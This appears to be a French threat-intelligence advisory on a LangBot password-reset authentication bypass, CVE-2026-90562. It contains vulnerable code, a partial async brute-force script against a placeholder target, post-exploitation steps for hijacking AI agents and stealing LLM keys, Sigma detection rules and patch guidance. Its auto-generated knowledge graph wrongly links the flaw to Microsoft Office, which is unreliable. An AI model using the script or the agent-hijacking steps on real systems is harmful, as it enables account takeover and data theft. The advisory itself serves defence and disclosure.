Aller au contenu

CVE-2026-90562 : contournement d'authentification et prise de contrôle administrative de LangBot par entropie insuffisante

HERMES

HERMES THREAT SCORE & RISQUE DE COMPROMISSION DE PLATEFORME D'AGENTS IA

Cible : Infrastructure d'agents LLM LangBot — Sous-système d'authentification et API utilisateur (/api/v1/user/reset-password)
Confiance : 95%
88 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 15 / 20
Militarisation 17 / 20
Exposition 18 / 20
Prévalence 15 / 20
Impact 19 / 20
Maturité de l'exploit 17 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Bien que le score CVSS v3.1 évalue CVE-2026-90562 à 8.1 (Élevé) en assimilant LangBot à une application web standard, Hermes élève la menace opérationnelle à 88 (CRITIQUE). Dans les environnements d'entreprise actuels, LangBot sert d'orchestrateur central pilotant des agents autonomes, des boucles de raisonnement ReAct, des outils d'exécution privilégiés (interpréteurs Python, connecteurs SQL, exécuteurs de commandes shell) et des ponts de messagerie d'entreprise (Slack, Discord, Teams). Une prise de contrôle administrative complète octroie aux cyberattaquants un accès direct aux clés d'API des modèles de fondation, aux bases de connaissances vectorielles et aux capacités d'exécution de code au sein du réseau interne.

HASS

SCORE DE SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT D'ORCHESTRATION

Cible : Orchestrateur d'agents LangBot, coffre de clés LLM et dispatcheur d'outils
Confiance : 96%
94 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 19 / 20
Accès aux outils & APIs 20 / 20
Privilege 15 / 15
Persistence 14 / 15
External Impact 14 / 15
Propagation 12 / 15
⚖️ Divergence & Justification opérationnelle

Les agents autonomes administrés par LangBot disposent de privilèges étendus pour interroger des bases de données et exécuter des requêtes réseau. En s'emparant du compte administrateur, l'attaquant neutralise les garde-fous éthiques, injecte des instructions pernicieuses persistantes dans les invites systèmes et détourne les outils d'exécution afin de transformer les agents déployés en attaquants internes autonomes.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-90562: Authentication Bypass and Administrative Takeover via Low Entropy Password Recovery in LangBotVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-90562 weaponizes the agentic attack pattern formalized under AAP-003.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-007: Autonomous Cascading RCE
92% VERY_HIGH

Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-90562 weaponizes the agentic attack pattern formalized under AAP-007.”

Preuves vérifiées associées :

LangBot constitue une plateforme modulaire d’automatisation de flux LLM et d’agents autonomes. La vulnérabilité réside dans son module de gestion des utilisateurs et d’authentification.

ParamètreSpécification techniqueSignification opérationnelle
Identifiant CVECVE-2026-90562NVD, GitHub Advisory GHSA-j5vf-3q8p-9472
Classe de vulnérabilitéEntropie insuffisante (CWE-331) & Absence d’anti-automatisation (CWE-307)Jeton de réinitialisation prédictible et temporisation asynchrone inopérante
Composant vulnérablecore/security/password_reset.py, point d’accès /api/v1/user/reset-passwordGestionnaire de vérification des demandes de réinitialisation
Mécanisme racinesecrets.token_hex(3) (24 bits) couplé à un asyncio.sleep non bloquantEspace de 16,7M combinaisons explorable massivement en parallèle
Vecteur d’attaqueRéseau (AV:N) via des requêtes HTTP POSTN’importe quel attaquant connaissant l’adresse email de l’administrateur
Privilèges requisAucun (PR:N)Exploitation pré-authentification
Interaction utilisateurAucune (UI:N)Aucune action de la victime requise
Versions affectées>= 4.0.8.1, <= 4.10.10Tous les déploiements exploitant l’authentification native
Version corrigée4.10.11Intègre des jetons de 256 bits et un rate limiting distribué sous Redis

2. Anatomie de la vulnérabilité & analyse de cause racine

Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »

Dans le module core/security/password_reset.py, la génération du jeton de réinitialisation reposait sur un appel restreint à la bibliothèque standard Python :

# Génération vulnérable de jeton dans LangBot <= 4.10.10
import secrets
def generate_reset_token(user_id: str) -> str:
# Ne génère que 3 octets (6 caractères hexadécimaux : [0-9a-f]{6})
token = secrets.token_hex(3)
db.store_reset_token(user_id=user_id, token=token, ttl_seconds=86400)
return token

L’espace mathématique total d’un tel jeton est : 16^6 = 2^24 = 16 777 216 combinaisons

Alors que les standards cryptographiques contemporains imposent au moins 128 à 256 bits d’entropie (ex. secrets.token_urlsafe(32)), un espace de 24 bits s’avère trivial à épuiser via le réseau lorsque les contrôles anti-brute-force sont défaillants.

Afin de contrer les attaques par force brute, les développeurs ont instauré un délai artificiel au sein de la route FastAPI :

# Fausse limitation de débit asynchrone dans FastAPI/Starlette
@router.post("/api/v1/user/reset-password")
async def verify_and_reset_password(payload: ResetPasswordRequest):
# Tentative d'imposer 3 secondes de pénalité par requête
await asyncio.sleep(3)
user = await db.get_user_by_email(payload.email)
if not user or user.reset_token != payload.token:
raise HTTPException(status_code=400, detail="Invalid token or email")
await user.set_password(payload.new_password)
await db.invalidate_reset_token(user.id)
return {"status": "success", "message": "Password updated successfully"}

Dans un serveur synchrone multifil (comme WSGI avec Gunicorn), bloquer un thread immobilise un travailleur. En revanche, dans la boucle d’événements Python (asyncio) :

  • await asyncio.sleep(3) libère immédiatement la boucle pour traiter d’autres entrées/sorties.
  • L’instance peut maintenir plus d’un millier de connexions asynchrones simultanées sans saturer ses ressources système.
  • En l’absence de verrou global ou de fenêtre glissante par adresse IP dans Redis, le délai n’applique aucun ralentissement réel à un volume d’attaquants distribué.

Un attaquant maintenant entre 800 et 1 200 flux HTTP/2 parallèles épuise l’ensemble de l’espace de clés en 6 à 7 heures :

  • Temps moyen d’obtention (probabilité 50 %) : 8 388 608 / 700 req/sec ≈ 11 983 secondes ≈ 3,32 heures
  • Balayage exhaustif (100 % de l’espace de clés) : 16 777 216 / 700 req/sec ≈ 23 967 secondes ≈ 6,65 heures

3. Vecteurs de menace, cinématique d’attaque & exploitation

Section intitulée « 3. Vecteurs de menace, cinématique d’attaque & exploitation »
flowchart TD
A["Attaquant distant"] -->|"1. Sollicite la réinitialisation pour admin@cible.com"| B["API LangBot (/api/v1/user/forgot-password)"]
B -->|"Génère un jeton 24 bits : secrets.token_hex(3)"| C["Base de données LangBot (valide 24h)"]
A -->|"2. Lance 1 000 coroutines asynchrones HTTP/2"| D["Boucle d'événements LangBot (/api/v1/user/reset-password)"]
D -->|"await asyncio.sleep(3) cède la boucle (aucun bridage)"| E["Vérification du jeton en mémoire/BDD"]
E -->|"Recherche de correspondance"| F{"Jeton valide ?"}
F -->|"Non (16,7M de possibilités)"| D
F -->|"Oui (moyenne de 3,5 heures)"| G["Nouveau mot de passe administrateur validé"]
G -->|"3. Connexion de l'attaquant au panneau admin"| H["Console d'administration LangBot"]
H -->|"Exfiltration des clés LLM & exécution d'outils arbitraires"| I["Compromission de l'infrastructure IA & du réseau interne"]

Démonstration de l’outil d’exploitation asynchrone

Section intitulée « Démonstration de l’outil d’exploitation asynchrone »

L’adversaire orchestre le balayage à l’aide d’un script Python exploitant httpx et le multiplexage HTTP/2 :

import asyncio
import httpx
TARGET_URL = "https://ai-orchestrator.entreprise-cible.fr/api/v1/user/reset-password"
TARGET_EMAIL = "admin@entreprise-cible.fr"
NEW_PASSWORD = "HackedMasterKey2026!#"
CONCURRENCY = 800
async def attempt_token(client, token_hex):
payload = {
"email": TARGET_EMAIL,
"token": token_hex,
"new_password": NEW_PASSWORD
}
try:
resp = await client.post(TARGET_URL, json=payload, timeout=10.0)
if resp.status_code == 200:
print(f"[+] SUCCÈS ! Mot de passe réinitialisé avec le jeton : {token_hex}")
return True
except Exception:
pass
return False
async def brute_force_worker(token_chunk):
limits = httpx.Limits(max_keepalive_connections=CONCURRENCY, max_connections=CONCURRENCY)
async with httpx.AsyncClient(http2=True, limits=limits) as client:
for token in token_chunk:
if await attempt_token(client, token):
return True
return False

4. Traces forensiques & tactiques post-exploitation

Section intitulée « 4. Traces forensiques & tactiques post-exploitation »

Dès l’accès d’administration obtenu, l’adversaire compromet les composants stratégiques de la chaîne d’IA générative :

  1. Pillage des clés d’API LLM : langBot centralise la connectivité vers les fournisseurs de modèles. L’attaquant extrait les clés d’API en clair configurées dans le panneau d’administration (OPENAI_API_KEY, ANTHROPIC_API_KEY, MISTRAL_API_KEY, jetons AWS Bedrock).
  2. Détournement d’outils et RCE : les agents LangBot intègrent des liaisons d’exécution d’outils (commandes shell, connecteurs SQL, requêtes HTTP internes). L’attaquant réassigne les outils ou lance directement des exécutions instrumentées, pivotant sur le système hôte.
  3. Empoisonnement de contexte et d’instructions systèmes : l’adversaire altère les invites systèmes fondamentales pour transformer les assistants internes en canaux d’exfiltration de données confidentielles ou en vecteurs d’ingénierie sociale ciblée.
  4. Exfiltration des bases vectorielles (RAG) : l’interface administrative donne accès aux index documentaires internes, permettant le téléchargement intégral des bases de données de documents confidentiels indexés.

Artefacts forensiques et indicateurs de compromission

Section intitulée « Artefacts forensiques et indicateurs de compromission »

Lors d’une investigation DFIR sur une instance LangBot suspecte, plusieurs indicateurs révélateurs doivent être recherchés :

  • Volume d’appels HTTP anormal : plusieurs milliers de requêtes par minute dirigées vers /api/v1/user/reset-password renvoyant le code HTTP 400 avec le message d’erreur Invalid token or email.
  • Forte concurrence depuis des adresses IP fixes OU des relais Tor/VPN : flux continu de requêtes POST de taille constante contenant des chaînes hexadécimales de 6 caractères ([0-9a-f]{6}).
  • Journaux d’accès uvicorn :
    POST /api/v1/user/reset-password HTTP/2" 400 Bad Request - client=198.51.100.45:54320
    POST /api/v1/user/reset-password HTTP/2" 400 Bad Request - client=198.51.100.45:54322
    ...
    POST /api/v1/user/reset-password HTTP/2" 200 OK - client=198.51.100.45:55102
  • Changement inattendu de mot de passe administrateur : suivi immédiatement par une session d’administration interactive initiée depuis une adresse IP inédite.

Règle Sigma : détection de force Brute sur la réinitialisation de mot de passe LangBot

Section intitulée « Règle Sigma : détection de force Brute sur la réinitialisation de mot de passe LangBot »
title: Tentative de force brute sur la réinitialisation LangBot (CVE-2026-90562)
id: 489f7832-159a-4c91-b3b4-827101fa9056
status: experimental
description: Détecte un volume anormal de requêtes POST non authentifiées ciblant la réinitialisation de mot de passe LangBot révélant une tentative d'épuisement de jeton.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-16
references:
- https://github.com/langbot/langbot/security/advisories/GHSA-j5vf-3q8p-9472
- https://nvd.nist.gov/vuln/detail/CVE-2026-90562
logsource:
category: webserver
product: nginx / traefik / uvicorn
detection:
selection:
cs-method: 'POST'
cs-uri-stem|endswith: '/api/v1/user/reset-password'
timeframe: 1m
condition: selection | count(cs-uri-stem) > 50
fields:
- c-ip
- cs-uri-stem
- sc-status
falsepositives:
- Campagnes de tests d'intégration automatisés en environnement de préproduction
level: high
tags:
- attack.credential_access
- attack.t1110.001
- cve.2026.90562

Règle Sigma : accès post-compromission aux secrets et outils LangBot

Section intitulée « Règle Sigma : accès post-compromission aux secrets et outils LangBot »
title: Accès suspect aux secrets et à la configuration des agents LangBot
id: d193ab48-289c-49a7-9654-e84128ab9056
status: experimental
description: Détecte l'accès aux paramètres d'administration, aux coffres de clés d'API ou aux outils d'agents immédiatement après une réinitialisation de mot de passe.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-16
logsource:
category: application
product: langbot
detection:
selection_reset:
event_type: 'password_reset_success'
selection_access:
uri|contains:
- '/api/v1/admin/secrets'
- '/api/v1/admin/tools/execute'
- '/api/v1/admin/agents/update'
condition: selection_reset and selection_access
fields:
- user_id
- client_ip
- uri
level: critical
tags:
- attack.collection
- attack.t1552.004
- cve.2026.90562

  1. Mettre à jour LangBot vers la version 4.10.11 OU supérieure : Les mainteneurs ont remplacé le générateur par un jeton cryptographique de 256 bits (secrets.token_urlsafe(32)) et mis en place une limitation atomique sous Redis.

    Fenêtre de terminal
    pip install --upgrade "langbot>=4.10.11"
    # Pour les déploiements conteneurisés :
    docker pull langbot/langbot:4.10.11
    docker-compose up -d --force-recreate
  2. Mettre en place une limitation de débit externe sur le reverse proxy : Si la mise à jour immédiate est impossible, appliquez un bridage strict sur la route de réinitialisation au niveau d’un proxy Nginx ou d’un WAF :

    limit_req_zone $binary_remote_addr zone=reset_limit:10m rate=5r/m;
    location /api/v1/user/reset-password {
    limit_req zone=reset_limit burst=2 nodelay;
    limit_req_status 429;
    proxy_pass http://langbot_backend;
    }
  3. Purger les jetons de réinitialisation et révoquer les sessions actives : Nettoyez tous les jetons en attente en base de données et invalidez les jetons de rafraîchissement JWT d’administration :

    UPDATE users SET reset_token = NULL, reset_token_expires_at = NULL WHERE reset_token IS NOT NULL;
    DELETE FROM user_sessions WHERE user_role = 'admin';
  4. Renouveler immédiatement l’ensemble des clés d’API LLM : Par précaution, révoquez et renouvelez toutes les clés d’API de modèles de fondation (OpenAI, Anthropic, Mistral, Google Gemini, AWS Bedrock) configurées dans les instances exposées.